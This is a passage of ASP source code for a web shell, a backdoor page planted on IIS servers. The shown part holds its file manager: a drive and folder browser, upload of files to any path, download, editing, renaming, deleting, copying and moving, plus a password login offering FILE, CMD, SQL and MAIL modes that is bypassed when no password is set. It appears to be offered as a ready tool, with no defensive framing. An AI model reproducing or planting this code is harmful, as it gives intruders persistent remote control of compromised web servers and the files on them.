1039set item=nothing
1040end sub
1041
1042'###########################################################################################
1043
1044sub List()
1045dim objFolder,folder,item,intCount,bOpen,ext,count
1046if not FSO.FolderExists(targetPath) then
1047gMsg="Folder not found"
1048else
1049on error resume next
1050set objFolder=FSO.GetFolder(targetPath)
1051if Err.Number<>0 then
1052gMsg="Can't open folder"
1053else
1054intCount=objFolder.SubFolders.Count+objFolder.Files.Count
1055if Err.Number<>0 then
1056gMsg="Permission denied"
1057else
1058%>
1059<input type=button value=Refresh onclick="Command('Refresh')">
1060<input type=button value="New File" onclick="Command('NewFile')">
1061<input type=button value="New Folder" onclick="Command('NewFolder')">
1062<input type=button value=Upload onclick="frmUpload.max.focus()">
1063<input type=button value=Tree onclick="Command('Tree')">
1064<%
1065bOpen=true
1066end if
1067end if
1068end if
1069HtmlQuick()
1070if gMsg<>"" then Response.Write "<p>" & gMsg & vbNewLine
1071if bOpen then
1072count=0
1073if intCount>0 then Response.Write "<p>" & objFolder.SubFolders.Count & " subfolder(s)<br>" & vbNewLine & objFolder.Files.Count & " file(s)<br>" & vbNewLine
1074if bSize then Response.Write "(" & FormatSize(objFolder.Size) & ")<br>" & vbNewLine
1075%>
1076<p>
1077<table border=1 width=100%>
1078<tr>
1079<td><b>N</b>ame</td>
1080<td align=center><b>S</b>ize</td>
1081<td align=center><b>T</b>ype</td>
1082<td align=center><b>M</b>odified</td>
1083<td><b>A</b>ttributes</td>
1084<td><b>A</b>ctions</td>
1085<tr>
1086<%
1087if not isroot(targetPath) then
1088%>
1089<tr>
1090<td><a href="javascript:Command('LevelRoot')" title="Up Root Level">\</a></td>
1091<td> </td>
1092<td align=center>Root</td>
1093<td> </td>
1094<td> </td>
1095<td> </td>
1096</tr>
1097<tr>
1098<td><a href="javascript:Command('LevelUp')" title="Up One level">..</a></td>
1099<td> </td>
1100<td align=center>Up</td>
1101<td> </td>
1102<td> </td>
1103<td> </td>
1104</tr>
1105<%
1106end if
1107if intCount>0 then
1108HtmlJsForm()
1109%>
1110<form name=theForm method=post action="<%=gURL%>">
1111<input type=hidden name=command value="">
1112<input type=hidden name=folder value="<%=targetPath%>">
1113<%
1114for each item in objFolder.SubFolders
1115count=count+1
1116Response.Write "<tr>" & vbNewLine
1117Response.Write " <td><a href=""javascript:Command('OpenFolder',"" & item.Name & "")"""
1118if Len(item.Name)>gMax then Response.Write " title=""" & item.Name & """"
1119Response.Write ">" & FormatName(item.Name) & "</a></td>" & vbNewLine
1120Response.Write " <td align=right> </td>" & vbNewLine
1121Response.Write " <td align=center>DIR</td>" & vbNewLine
1122Response.Write " <td align=center>" & FormatDate(item.DateLastModified ) & "</td>" & vbNewLine
1123Response.Write " <td>" & GetAttributes(item.Attributes) & "</td>" & vbNewLine
1124Response.Write " <td><input type=checkbox name=d value=""" & item.Name & """><input type=button value=Ren onclick=""Command('RenameFolder',"" & item.Name & "")""><input type=button value=Attr onclick=""Command('ChangeAttributesFolder',"" & item.Name & "")""></td>" & vbNewLine
1125Response.Write "</tr>" & vbNewLine
1126next
1127for each item in objFolder.Files
1128count=count+1
1129Response.Write "<tr>" & vbNewLine
1130Response.Write " <td><a href=""javascript:Command('Download',"" & item.Name & "")"""
1131ext=FSO.GetExtensionName(addslash(targetPath) & item.Name)
1132re.IgnoreCase = true
1133re.Pattern = "^" & ext & ",|," & ext & ",|," & ext & "$"
1134if re.Test(lnkExt) then
1135Response.Write " title=""-> " & Server.Htmlencode(FindLink(addslash(targetPath) & item.Name)) & """"
1136elseif Len(item.Name)>gMax then
1137Response.Write " title=""" & item.Name & """"
1138end if
1139
1140Response.Write ">" & FormatName(item.Name) & "</td>" & vbNewLine
1141Response.Write " <td align=right>" & FormatSize(item.Size) & "</td>" & vbNewLine
1142Response.Write " <td align=center>" & item.Type & "</td>" & vbNewLine
1143Response.Write " <td align=center>" & FormatDate(item.DateLastModified ) & "</td>" & vbNewLine
1144Response.Write " <td>" & GetAttributes(item.Attributes) & "</td>" & vbNewLine
1145Response.Write " <td><input type=checkbox name=f value=""" & item.Name & """><input type=button value=Ren onclick=""Command('RenameFile',"" & item.Name & "")""><input type=button value=Attr onclick=""Command('ChangeAttributesFile',"" & item.Name & "")"">"
1146
1147if re.Test(editExt) then
1148Response.Write "<input type=button value=Edit onclick=""Command('Edit',"" & item.Name & "")"">"
1149end if
1150
1151if Lcase(ext)="zip" then
1152Response.Write "<input type=button value=Info onclick=""Command('ZipInfo',"" & item.Name & "")"">"
1153end if
1154
1155Response.Write "</td>" & vbNewLine
1156Response.Write "</tr>" & vbNewLine
1157next
1158if count>0 then
1159%>
1160<tr>
1161<td> </td>
1162<td> </td>
1163<td> </td>
1164<td> </td>
1165<td> </td>
1166<td><input type=checkbox name=allbox title="Select All" onclick="CheckAll()"><input type=button value=Delete title="Delete Selected Item(s)" onclick="DoWork('Delete')"></td>
1167</tr>
1168<%
1169end if
1170%>
1171</table>
1172<%
1173if count>1 then
1174%>
1175<p>
1176<table>
1177<tr><td><b>C</b>opy selected item(s) to</td><td><input type=text name=cp value="<%=Session("cp_dst")%>" size=50 onkeydown=" if (event.keyCode==13) theForm.cp_bt.click();"> <input type=button id=cp_bt value=Copy onclick="DoWork('Copy')"></td></tr>
1178<tr><td><b>M</b>ove selected item(s) to</td><td><input type=text name=mv value="<%=Session("mv_dst")%>" size=50 onkeydown=" if (event.keyCode==13) theForm.mv_bt.click();"> <input type="button" id=mv_bt value=Move onclick="DoWork('Move')"></td></tr>
1179</table>
1180<%
1181end if
1182%>
1183</form>
1184</table>
1185<%
1186end if
1187set objFolder=nothing
1188%>
1189<p><b>U</b>pload file(s) to "<%=targetPath%>"
1190<form name=frmUpload method=post enctype="multipart/form-data" action="<%=gURL%>">
1191<input type=hidden name=folder value="<%=targetPath%>">
1192Max: <input type=text name=max value=5 size=5> <input type=button value=# onclick="setid()"><br>
1193<table>
1194<tr>
1195<td id=upid>
1196</td>
1197</tr>
1198</table>
1199<input type=submit value=Upload>
1200</form>
1201<script>
1202setid();
1203function setid() {
1204str='<br>';
1205if (frmUpload.max.value<=0) frmUpload.max.value=1;
1206for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';
1207upid.innerHTML=str+'<br>';
1208}
1209</script>
1210<%
1211end if
1212%>
1213<form name=frmFile method=post action="<%=gURL%>">
1214<input type=hidden name=command value="">
1215<input type=hidden name=param value="">
1216<input type=hidden name=folder value="<%=targetPath%>">
1217</form>
1218<script>frmAddress.param.focus()</script>
1219<%
1220HtmlJsCommand()
1221end sub
1222
1223'###########################################################################################
1224
1225sub Upload()
1226dim objUpload,f,max,i,name,path,size,success
1227
1228HtmlHeader("")
1229HtmlMode()
1230
1231set objUpload=New clsUpload
1232
1233targetPath=objUpload.Fields("folder").Value
1234max=objUpload.Fields("max").Value
1235
1236gMsg= "<b>U</b>pload..." & vbNewLine
1237
1238for i=1 to max
1239name=objUpload.Fields("file" & i).FileName
1240size=objUpload.Fields("file" & i).Length
1241if (name<>"") and (size>0) then
1242gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
1243path=addslash(targetPath) & name
1244objUpload.Fields("file" & i).SaveAs path
1245if FSO.FileExists(path) then
1246on error resume next
1247set f=FSO.GetFile(path)
1248if IsObject(f) then
1249if f.Size=size then success=true else success=false
1250end if
1251set f=nothing
1252end if
1253if success then gMsg=gMsg & "success" else gMsg = gMsg & "fail"
1254end if
1255next
1256
1257set objUpload=nothing
1258
1259List()
1260HtmlFooter()
1261Destroy()
1262end sub
1263
1264'###########################################################################################
1265
1266sub Download()
1267dim oStream
1268dim szFileName
1269szFileName=addslash(Request.Form("folder")) & Request.form("Param")
1270if FSO.FileExists(szFileName) then
1271set oStream=Server.CreateObject("ADODB.Stream")
1272oStream.Type=1
1273oStream.Open
1274on error resume next
1275oStream.LoadFromFile(szFileName)
1276if Err.Number=0 then
1277Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName)
1278Response.AddHeader "Content-Length", oStream.Size
1279Response.ContentType="bad/type" 'yeu cau ie hien hop thoai save-as
1280Response.BinaryWrite oStream.Read
1281end if
1282oStream.Close
1283set oStream=nothing
1284end if
1285Destroy()
1286end sub
1287
1288'###########################################################################################
1289
1290sub Logout()
1291Session.Abandon
1292Response.Redirect gURL
1293Destroy()
1294end sub
1295
1296sub Init()
1297Session("switch")=false
1298set FSO=Server.CreateObject("Scripting.FileSystemObject")
1299set re=new regexp
1300end sub
1301
1302sub Destroy()
1303set FSO=nothing
1304set re=nothing
1305Response.End
1306end sub
1307
1308'###########################################################################################
1309
1310sub Secure()
1311if (Session("allow")=1) then exit sub
1312if (gPassword="") then
1313Session("allow")=1
1314Session("mode")=0
1315exit sub
1316end if
1317if (Request.Form("command")="Login") then
1318if Request.Form("password")=gPassword then
1319Session("allow")=1
1320Session("mode")=CInt(Request.Form("mode"))
1321exit sub
1322end if
1323end if
1324
1325HtmlHeader("")
1326%>
1327<form name=frmLogin method=post action="<%=gURL%>">
1328<table>
1329<tr>
1330<td><b>M</b>ode:</td>
1331<td>
1332<select name=mode>
1333<option value=0 selected>FILE
1334<option value=1>CMD
1335<option value=2>SQL
1336<option value=3>MAIL
1337</select>
1338</td>
1339</tr>
1340<tr>
1341<td><b>P</b>assword:</td>
1342<td><input type=password name=password></td>
1343</tr>
1344<tr>
1345<td colspan=2><input type=submit name=command value=Login></td>
1346</tr>
1347</table>
1348</form>
1349<script>frmLogin.password.focus()</script>
1350<%
1351HtmlFooter()
1352Destroy()
1353end sub
1354
1355'###########################################################################################
1356
1357sub HtmlJsForm()
1358%>
1359<script>
1360function CheckAll() {
1361var fmobj=document.theForm;
1362for (var i=0; i<fmobj.elements.length;i++) {
1363var e=fmobj.elements<i>;
1364if ((e.name!='allbox') && (e.type=='checkbox') && (!e.disabled)) {
1365e.checked=fmobj.allbox.checked;
1366}
1367}
1368if (fmobj.allbox.checked) {
1369fmobj.allbox.title='Clear All';
1370} else {
1371fmobj.allbox.title='Select All';
1372}
1373}
1374
1375function DoWork(cmd) {
1376var s;
1377var fmobj=document.theForm;
1378var total=0;
1379for (var i=0; i<fmobj.elements.length; i++) {
1380var e=fmobj.elements<i>;
1381if ((e.name!='allbox') && (e.type=='checkbox') && (e.checked)) total++;
1382}
1383
1384if (total<1) return;
1385
1386s=(total>1)?'s':'';
1387
1388switch (cmd) {
1389case "Delete":
1390if (!confirm('Are you sure to delete ' + total + ' selected item' + s + ' ?')) return;
1391break;
1392case "Move":
1393var mv=fmobj.mv.value;
1394var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
1395var re2=/^\s*:{1}[^\s]+/gi;
1396if (mv=='') return;
1397if ( re1.test(mv) || re2.test(mv) ){
1398if (!confirm('Are you sure to move ' + total + ' selected item' + s + ' to "' + mv + '" ?')) return;
1399} else {
1400alert('Invalid path name !');
1401return;
1402}
1403break;
1404case "Copy":
1405var cp=fmobj.cp.value;
1406var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
1407var re2=/^\s*:{1}[^\s]+/gi;
1408if (cp=='') return;
1409if ( re1.test(cp) || re2.test(cp) ) {
1410} else {
1411alert('Invalid path name !');
1412return;
1413}
1414break;
1415default:
1416return;
1417}
1418
1419fmobj.command.value=cmd;
1420fmobj.submit();
1421}
1422</script>
1423<%
1424end sub
1425
1426'###########################################################################################
1427
1428sub HtmlJsCommand()
1429%>
1430<script>
1431function openWin(winName, urlLoc, w, h, showStatus, isViewer) {
1432l = (screen.availWidth - w)/2;
1433t = (screen.availHeight - h)/2;
1434features = "toolbar=no"; // yes|no
1435features += ",location=no"; // yes|no
1436features += ",directories=no"; // yes|no
1437features += ",status=" + (showStatus?"yes":"no"); // yes|no
1438features += ",menubar=no"; // yes|no
1439features += ",scrollbars=" + (isViewer?"yes":"no"); // auto|yes|no
1440features += ",resizable=" + (isViewer?"yes":"no"); // yes|no
1441features += ",dependent"; // close the parent, close the popup, omit if you want otherwise
1442features += ",height=" + h;
1443features += ",width=" + w;
1444features += ",left=" + l;
1445features += ",top=" + t;
1446winName = winName.replace(/[^a-z]/gi,"_");
1447return window.open(urlLoc,winName,features);
1448}
1449
1450function createPage (theWin, cmd, param){
1451frmFile.target = theWin.name;
1452frmFile.command.value = cmd;
1453frmFile.param.value = param;
1454frmFile.submit();
1455}
1456
1457function CheckName(str) {
1458var re;
1459re = /[\\/:*?"<>|]/gi;
1460if (re.test(str)) return false;
1461else return true;
1462}
1463
1464function Command(cmd, param) {
1465var str;
1466var someWin;
1467switch (cmd) {
1468case "Tree":
1469str = prompt("Please enter a name for the folder to tree", frmFile.folder.value);
1470if (!str) return;
1471var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
1472var re2=/^\s*:{1}[^\s]+/gi;
1473if (re1.test(str) || re2.test(str)) {
1474var winName=cmd + document.forms.frmFile.param.value;
1475param=str;
1476document.forms.frmFile.param.value=param;
1477winName=winName.replace(/[^a-z]/gi,"_");
1478someWin=window.open("", winName, "toolbar=yes,location=no,directories=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes");
1479someWin.focus();
1480createPage(someWin,cmd,param);
1481someWin = null;
1482return;
1483}
1484else {
1485alert('Invalid path name !');
1486return;
1487}
1488break;
1489case "NewFile":
1490str = prompt("Please enter a name for the new file", "New File");
1491if(!str) return;
1492else if (!CheckName(str)) {alert("File name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
1493frmFile.param.value = str;
1494break;
1495case "NewFolder":
1496str = prompt("Please enter a name for the new folder", "New Folder");
1497if(!str) return;
1498else if (!CheckName(str)) {alert("Folder name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
1499frmFile.param.value = str;
1500break;
1501case "RenameFile":
1502str = prompt("Please enter the new name for the file", param);
1503if (!str || (str==param)) return;
1504else if (!CheckName(str)) {alert("File name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
1505frmFile.param.value = param + "|" + str;
1506break;
1507case "RenameFolder":
1508str = prompt("Please enter the new name for the folder", param);
1509if (!str || (str==param)) return;
1510else if (!CheckName(str)) {alert("Folder name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
1511frmFile.param.value = param + "|" + str;
1512break;
1513case "Edit":
1514str = frmFile.folder.value + param;
1515someWin = openWin(cmd + str, "", 600, 440, true, false);
1516someWin.focus();
1517createPage(someWin,cmd,param);
1518someWin = null;
1519return;
1520break;
1521case "ChangeAttributesFile":
1522case "ChangeAttributesFolder":
1523str = frmFile.folder.value + param;
1524someWin = openWin(cmd + str, "", 300, 160, true, false);
1525someWin.focus();
1526createPage(someWin,cmd,param);
1527someWin = null;
1528return;
1529break;
1530case "ZipInfo":
1531var winName=cmd + document.forms.frmFile.folder.value + param;
1532winName=winName.replace(/[^a-z]/gi,"_");
1533someWin=window.open("", winName, "toolbar=yes,location=no,directories=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes");
1534someWin.focus();
1535createPage(someWin,cmd,param);
1536someWin = null;
1537return;
1538break
1539default:
1540frmFile.param.value = param;
1541}
1542frmFile.target = "";
1543frmFile.command.value = cmd
1544frmFile.submit();
1545}
1546</script>
1547<%
1548end sub
1549
1550sub HtmlJsEditor()
1551%>
1552<script>
1553function EditorCommand (cmd) {
1554switch (cmd) {
1555case "WordWrap":
1556if (frmFile.wrap.checked) frmFile.content.wrap="soft";
1557else frmFile.content.wrap="off";
1558frmFile.content.focus();
1559break;
1560case "Reload":
1561frmFile.reset();
1562break;
1563case "Save":
1564frmFile.subcommand.value = "Save";
1565frmFile.submit();
1566break;
1567case "SaveAs":
1568var str, oldname;
1569oldname = frmFile.param.value;
1570str = prompt("Save the file as :", oldname);
1571if (!str || str==oldname) return;
1572frmFile.param.value = str;
1573frmFile.subcommand.value = "SaveAs";
1574frmFile.submit();
1575break;
1576}
1577}
1578</script>
1579<%
1580end sub
1581
1582sub HtmlQuick()
1583%>
1584<form name=frmQuick method=post action="<%=gURL%>">
1585<input type=hidden name=command value=OpenFolder>
1586<select name=param onchange="frmQuick.submit()">
1587<%
1588dim dc,d,dName,dType
1589set dc=FSO.Drives
1590for each d in dc
1591dName=d.DriveLetter&":\"
1592select case d.DriveType
1593case 0 dType="Unknown"
1594case 1 if d.driveletter="A" then dType="?" else dType="?"
1595dType=dType&" Floppy" 'maybe wrong
1596case 2 dType="HDD " & FormatSize(d.TotalSize)
1597case 3 dType="Network"
1598case 4
1599dType="CD-ROM"
1600if not d.IsReady then dType=dType & " - not ready"
1601case 5
1602dType="RAM Disk"
1603end select
1604Response.Write "<option value=""" & dName & """"
1605if d.DriveLetter=Ucase(Left(targetPath,1)) then Response.Write " selected"
1606Response.Write ">" & dName& " (" & dType & ")" & vbNewLine
1607next
1608set dc=nothing
1609%>
1610</select>
1611</form>
1612<form name=frmAddress method=post action="<%=gURL%>">
1613<input type=hidden name=command value=OpenFolder>
1614<b>A</b>ddress: <input type=text name=param value="<%=targetPath%>" size=90> <input type=submit value=Go>
1615</form>
1616<%
1617end sub
1618
1619sub HtmlMode()
1620%>
1621<table>
1622<tr>
1623<td>
1624<form name=frmChangeMode method=post action="<%=gURL%>">
1625<input type=hidden name=command value=ChangeMode>
1626<select name=mode onchange="frmChangeMode.submit()">
1627<option value=0<%if Session("mode")=0 then Response.Write " selected"%>>FILE
1628<option value=1<%if Session("mode")=1 then Response.Write " selected"%>>CMD
1629<option value=2<%if Session("mode")=2 then Response.Write " selected"%>>SQL
1630<option value=3<%if Session("mode")=3 then Response.Write " selected"%>>MAIL
1631</select>
1632</form>
1633</td>
1634<%
1635if gPassword<>"" then
1636%>
1637<td>
1638<form name=frmLogout method=post action="<%=gURL%>">
1639<input type=submit name=command value=Logout>
1640</form>
1641</td>
1642<%
1643end if
1644%>
1645</tr>
1646</table>
1647<%
1648end sub
1649
1650'###########################################################################################
1651
1652sub HtmlHeader(strTitle)
1653%>
1654<html>
1655<head>
1656<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
1657<title><%=strTitle%></title>
1658<style>
1659select,input{font-family:Verdana;font-size:9pt}
1660</style>
1661</head>
1662<body>
1663<%
1664end sub
1665
1666'###########################################################################################
1667
1668sub HtmlFooter()
1669%>
1670</body>
1671</html>
1672<%
1673end sub
1674
1675'###########################################################################################
1676
1677function abspath(path)
1678if left(path,1)=":" then abspath=Server.MapPath(mid(path,2)) else abspath=FSO.GetAbsolutePathName(path)
1679end function
1680
1681'###########################################################################################
1682
1683function addslash(path)
1684if right(path,1)="\" then addslash=path else addslash=path & "\"
1685end function
1686
1687'###########################################################################################
1688
1689function findroot(path)
1690dim f
1691
1692set f=FSO.GetFolder(path)
1693
1694if f.IsRootFolder then
1695else
1696do until f.IsRootFolder
1697set f=f.ParentFolder
1698loop
1699end if
1700findroot=f.Path
1701set f=nothing
1702end function
1703
1704'###########################################################################################
1705
1706function isroot(path)
1707dim f
1708set f=FSO.GetFolder(path)
1709isroot=f.IsRootFolder
1710set f=nothing
1711end function
1712
1713'###########################################################################################
1714
1715Function FindLink(szFileName)
1716Dim WshShell, oLink
1717
1718Set WshShell=Server.CreateObject("WScript.Shell")
1719Set oLink=WshShell.CreateShortcut(szFileName)
1720
1721FindLink=oLink.TargetPath
1722
1723Set oLink=Nothing
1724Set WshShell=Nothing
1725End Function
1726
1727'###########################################################################################
1728
1729Function FormatSize(intSize)
1730If (intSize < 1024) Then
1731FormatSize = intSize & " B"
1732ElseIf (intSize < 1024*1024) Then
1733FormatSize = FormatNumber(intSize/1024,2) & " KB"
1734ElseIf (intSize < 1024*1024*1024) Then
1735FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB"
1736Else
1737FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB"
1738End If
1739End Function
1740
1741'###########################################################################################
1742
1743Function FormatName(szName)
1744FormatName = szName
1745If gMax > 5 And Len(szName) > gMax Then FormatName = Left(szName,gMax-2) & "..."
1746End Function
1747
1748'###########################################################################################
1749
1750function FormatDate(strDate)
1751dim int12HourPart,strAMPM
1752int12HourPart=DatePart("h",strDate) mod 12
1753if int12HourPart=0 then int12HourPart=12
1754if DatePart("h",strDate)>=12 then strAMPM="PM" else strAMPM="AM"
1755FormatDate=Right("0"&DatePart("d",strDate),2) & "/" & Right("0"&DatePart("m",strDate),2) & "/" & DatePart("yyyy",strDate) & " " & Right("0"&int12HourPart,2) & ":" & Right("0"&DatePart("n",strDate),2) & ":" & Right("0"&DatePart("s",strDate),2) & " " & strAMPM
1756end function
1757
1758'###########################################################################################
1759
1760Function GetAttributes(intAttr)
1761Dim strAttributes
1762strAttributes=""
1763If (intAttr And 1) > 0 Then strAttributes = "R"
1764If (intAttr And 2) > 0 Then strAttributes=strAttributes & "H"
1765If (intAttr And 4) > 0 Then strAttributes=strAttributes & "S"
1766If (intAttr And 32) > 0 Then strAttributes=strAttributes & "A"
1767If (intAttr And 2048) > 0 Then strAttributes=strAttributes & "C"
1768if strAttributes="" then strAttributes=" "
1769GetAttributes=strAttributes
1770End Function
1771
1772'###########################################################################################
1773
1774Class clsField
1775Public Name
1776Private mstrPath
1777Public FileDir
1778Public FileExt
1779Public FileName
1780Public ContentType
1781Public Value
1782Public BinaryData
1783Public Length
1784Private mstrText
1785
1786Public Property Get BLOB()
1787BLOB = BinaryData
1788End Property
1789
1790Public Function BinaryAsText()
1791Dim lbinBytes
1792Dim lobjRs
1793If Length = 0 Then Exit Function
1794If LenB(BinaryData) = 0 Then Exit Function
1795
1796If Not Len(mstrText) = 0 Then
1797BinaryAsText = mstrText
1798Exit Function
1799End If
1800lbinBytes = ASCII2Bytes(BinaryData)
1801mstrText = Bytes2Unicode(lbinBytes)
1802BinaryAsText = mstrText
1803End Function
1804
1805Public Sub SaveAs(ByRef pstrFileName)
1806Const adTypeBinary=1
1807Const adSaveCreateOverWrite=2
1808Dim lobjStream
1809Dim lobjRs
1810Dim lbinBytes
1811If Length = 0 Then Exit Sub
1812If LenB(BinaryData) = 0 Then Exit Sub
1813Set lobjStream = Server.CreateObject("ADODB.Stream")
1814lobjStream.Type = adTypeBinary
1815Call lobjStream.Open()
1816lbinBytes = ASCII2Bytes(BinaryData)
1817Call lobjStream.Write(lbinBytes)
1818On Error Resume Next
1819Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
1820Call lobjStream.Close()
1821Set lobjStream = Nothing
1822End Sub
1823
1824Public Property Let FilePath(ByRef pstrPath)
1825mstrPath = pstrPath
1826If Not InStrRev(pstrPath, ".") = 0 Then
1827FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
1828FileExt = UCase(FileExt)
1829End If
1830If Not InStrRev(pstrPath, "\") = 0 Then
1831FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
1832End If
1833If Not InStrRev(pstrPath, "\") = 0 Then
1834FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
1835End If
1836End Property
1837
1838Public Property Get FilePath()
1839FilePath = mstrPath
1840End Property
1841
1842Private Function ASCII2Bytes(ByRef pbinBinaryData)
1843Const adLongVarBinary=205
1844Dim lobjRs
1845Dim llngLength
1846Dim lbinBuffer
1847llngLength = LenB(pbinBinaryData)
1848Set lobjRs = Server.CreateObject("ADODB.Recordset")
1849Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
1850Call lobjRs.Open()
1851Call lobjRs.AddNew()
1852Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
1853Call lobjRs.Update()
1854lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
1855Call lobjRs.Close()
1856Set lobjRs = Nothing
1857ASCII2Bytes = lbinBuffer
1858End Function
1859
1860Private Function Bytes2Unicode(ByRef pbinBytes)
1861Dim lobjRs
1862Dim llngLength
1863Dim lstrBuffer
1864llngLength = LenB(pbinBytes)
1865Set lobjRs = Server.CreateObject("ADODB.Recordset")
1866Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
1867Call lobjRs.Open()
1868Call lobjRs.AddNew()
1869Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
1870Call lobjRs.Update()
1871lstrBuffer = lobjRs.Fields("BinaryData").Value
1872Call lobjRs.Close()
1873Set lobjRs = Nothing
1874Bytes2Unicode = lstrBuffer
1875End Function
1876End Class
1877
1878'###########################################################################################
1879
1880Class clsUpload
1881Private mbinData
1882Private mlngChunkIndex
1883Private mlngBytesReceived
1884Private mstrDelimiter
1885Private CR
1886Private LF
1887Private CRLF
1888Private mobjFieldAry()
1889Private mlngCount
1890
1891Private Sub RequestData
1892Dim llngLength
1893mlngBytesReceived = Request.TotalBytes
1894mbinData = Request.BinaryRead(mlngBytesReceived)
1895End Sub
1896
1897Private Sub ParseDelimiter()
1898mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
1899End Sub
1900
1901Private Sub ParseData()
1902Dim llngStart
1903Dim llngLength
1904Dim llngEnd
1905Dim lbinChunk
1906llngStart = 1
1907llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
1908While Not llngStart = 0
1909llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
1910llngLength = llngEnd - llngStart
1911lbinChunk = MidB(mbinData, llngStart, llngLength)
1912Call ParseChunk(lbinChunk)
1913llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
1914Wend
1915End Sub
1916
1917Private Sub ParseChunk(ByRef pbinChunk)
1918Dim lstrName
1919Dim lstrFileName
1920Dim lstrContentType
1921Dim lbinData
1922Dim lstrDisposition
1923Dim lstrValue
1924lstrDisposition = ParseDisposition(pbinChunk)
1925lstrName = ParseName(lstrDisposition)
1926lstrFileName = ParseFileName(lstrDisposition)
1927lstrContentType = ParseContentType(pbinChunk)
1928If lstrContentType = "" Then
1929lstrValue = CStrU(ParseBinaryData(pbinChunk))
1930Else
1931lbinData = ParseBinaryData(pbinChunk)
1932End If
1933Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
1934End Sub
1935
1936Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
1937Dim lobjField
1938ReDim Preserve mobjFieldAry(mlngCount)
1939Set lobjField = New clsField
1940lobjField.Name = pstrName
1941lobjField.FilePath = pstrFileName
1942lobjField.ContentType = pstrContentType
1943If LenB(pbinData) = 0 Then
1944lobjField.BinaryData = ChrB(0)
1945lobjField.Value = pstrValue
1946lobjField.Length = Len(pstrValue)
1947Else
1948lobjField.BinaryData = pbinData
1949lobjField.Length = LenB(pbinData)
1950lobjField.Value = ""
1951End If
1952Set mobjFieldAry(mlngCount) = lobjField
1953mlngCount = mlngCount + 1
1954End Sub
1955
1956Private Function ParseBinaryData(ByRef pbinChunk)
1957Dim llngStart
1958llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
1959If llngStart = 0 Then Exit Function
1960llngStart = llngStart + 4
1961ParseBinaryData = MidB(pbinChunk, llngStart)
1962End Function
1963
1964Private Function ParseContentType(ByRef pbinChunk)
1965Dim llngStart
1966Dim llngEnd
1967Dim llngLength
1968llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
1969If llngStart = 0 Then Exit Function
1970llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
1971If llngEnd = 0 Then Exit Function
1972llngStart = llngStart + 15
1973If llngStart >= llngEnd Then Exit Function
1974llngLength = llngEnd - llngStart
1975ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
1976End Function
1977
1978Private Function ParseDisposition(ByRef pbinChunk)
1979Dim llngStart
1980Dim llngEnd
1981Dim llngLength
1982llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
1983If llngStart = 0 Then Exit Function
1984llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
1985If llngEnd = 0 Then Exit Function
1986llngStart = llngStart + 22
1987If llngStart >= llngEnd Then Exit Function
1988llngLength = llngEnd - llngStart
1989ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
1990End Function
1991
1992Private Function ParseName(ByRef pstrDisposition)
1993Dim llngStart
1994Dim llngEnd
1995Dim llngLength
1996llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
1997If llngStart = 0 Then Exit Function
1998llngEnd = InStr(llngStart + 6, pstrDisposition, """")
1999If llngEnd = 0 Then Exit Function
2000llngStart = llngStart + 6
2001If llngStart >= llngEnd Then Exit Function
2002llngLength = llngEnd - llngStart
2003ParseName = Mid(pstrDisposition, llngStart, llngLength)
2004End Function
2005' ------------------------------------------------------------------------------
2006Private Function ParseFileName(ByRef pstrDisposition)
2007Dim llngStart
2008Dim llngEnd
2009Dim llngLength
2010llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
2011If llngStart = 0 Then Exit Function
2012llngEnd = InStr(llngStart + 10, pstrDisposition, """")
2013If llngEnd = 0 Then Exit Function
2014llngStart = llngStart + 10
2015If llngStart >= llngEnd Then Exit Function
2016llngLength = llngEnd - llngStart
2017ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
2018End Function
2019
2020Public Property Get Count()
2021Count = mlngCount
2022End Property
2023
2024Public Default Property Get Fields(ByVal pstrName)
2025Dim llngIndex
2026If IsNumeric(pstrName) Then
2027llngIndex = CLng(pstrName)
2028If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
2029Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
2030Exit Property
2031End If
2032Set Fields = mobjFieldAry(pstrName)
